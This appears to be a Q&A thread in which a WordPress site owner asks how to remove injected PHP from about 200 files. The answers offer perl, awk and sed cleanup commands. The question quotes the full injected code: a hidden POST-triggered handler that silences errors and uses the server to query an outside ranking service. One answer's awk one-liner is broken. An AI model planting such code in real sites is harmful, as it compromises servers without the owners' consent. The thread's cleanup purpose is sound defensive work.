Jeff Widman
Jeff Widman

Reputation: 23562

What's the appropriate grep + sed syntax?

I had two wordpress installs where a hacker tried to inject some php code into the existing php files

Nothing serious, but now I have to remove about 20 lines of text from about 200 text files across a number of sub-directories, and just not good enough with grep & sed to figure it out...

What is the syntax of the command to search the folder "hacked wordpress" for all the *.php files (including subdirectories) that contain the following text snippet and then delete the snippet?

<?php
//{{56541616

GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;
$olderrxxx=error_reporting(0);
function StrToNum($Str, $Check, $Magic)
{
   $Int32Unit = 4294967296;
   $length = strlen($Str);
   for ($i = 0; $i < $length; $i++) {
       $Check *= $Magic;
       if ($Check >= $Int32Unit) {
           $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
           $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
       }
       $Check += ord($Str{$i});
   }
   return $Check;
}
function HashURL($String)
{
   $Check1 = StrToNum($String, 0x1505, 0x21);
   $Check2 = StrToNum($String, 0, 0x1003F);

   $Check1 >>= 2;
   $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
   $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
   $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);

   $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
   $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );

   return ($T1 | $T2);
}

function CheckHash($Hashnum)
{
   $CheckByte = 0;
   $Flag = 0;

   $HashStr = sprintf('%u', $Hashnum) ;
   $length = strlen($HashStr);

   for ($i = $length-1; $i >= 0;  $i--) {
       $Re = $HashStr{$i};
       if (1 === ($Flag % 2)) {
           $Re += $Re;
           $Re = (int)($Re / 10) + ($Re % 10);
       }
       $CheckByte += $Re;
       $Flag ++;
   }

   $CheckByte %= 10;
   if (0 !== $CheckByte) {
       $CheckByte = 10 - $CheckByte;
       if (1 === ($Flag % 2) ) {
           if (1 === ($CheckByte % 2)) {
               $CheckByte += 9;
           }
           $CheckByte >>= 1;
       }
   }

   return '7'.$CheckByte.$HashStr;
}

function getpr($url)
{
   $ch = CheckHash(HashURL($url));
   $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
   $data = file_get_contents($file);
   $pos = strpos($data, "Rank_");
   if($pos === false){return -1;} else{
       $pr=substr($data, $pos + 9);
       $pr=trim($pr);
       $pr=str_replace("
",'',$pr);
       return $pr;
   }
}
if(isset($_POST['xxxprch']))
{
    echo getpr($_POST['xxxprch']);
    exit();
}
error_reporting($olderrxxx);
}

//}}18420732
?>

Upvotes: 3

Views: 389

Answers (4)

clt60
clt60

Reputation: 63974

use perl;

find "hacked wordpress" -iname \*.php -print |\
xargs perl -0777 -i -pe 's:\s*<\?php\s*//\{\{56541616.*?//\}\}18420732\s*\?>\s*::s;'

This should remove the whole snippet from each .php file.

DRY RUN FIRST - so test in on temporary copy.

Upvotes: 0

theothersimon
theothersimon

Reputation: 29

I have the same problem, and still looking for a fix.

Have a look at this:

http://crystaldawn.net/fix_hack and more info here: http://frazierit.com/blog/?p=103 and here too: How to call php script using html form elements instead of command line?

The clean up script is not perfect and seems to remove some stuff it shouldn't. I don't have the skills to refine it. It would be awesome if someone could fix it up!

Upvotes: 0

dascandy
dascandy

Reputation: 7302

I wouldn't use sed and grep for that - both operate on lines only and can't remember what came before. I usually use awk. It's the thing that most awk tutorials start with after the very basics. Basically, you create three match blocks, one that matches the opening, one that matches the closing and one that matches the rest. In the "opening" and "closing" you either set or reset a boolean to keep track of whether to print the current line. In the handling of the rest of the lines you either print or do not print depending on this boolean.

Also, do remember to back up your files before running it. You wouldn't be the first to get caught off-guard by a typo.

/startsequence/    { ignoring=true; }
/endsequence/      { ignoring=false; }
{ if (!ignoring) print }

Replace startsequence and endsequence by your own valid start & end sequence. If those numbers are actually consistently present, use those. I haven't checked this (as I'm on a cygwin-less Windows machine now) but do think it works. Inspired by the example here edit: example added

Upvotes: 2

Vijay
Vijay

Reputation: 67319

i did not test this .but the idea is correct i hope:

find ./hacked wordpress -name "*.php"|xargs awk '/^<?php/NP=1,/?>$/NP=0{if(NP=0) print}'

Upvotes: 0

Related Questions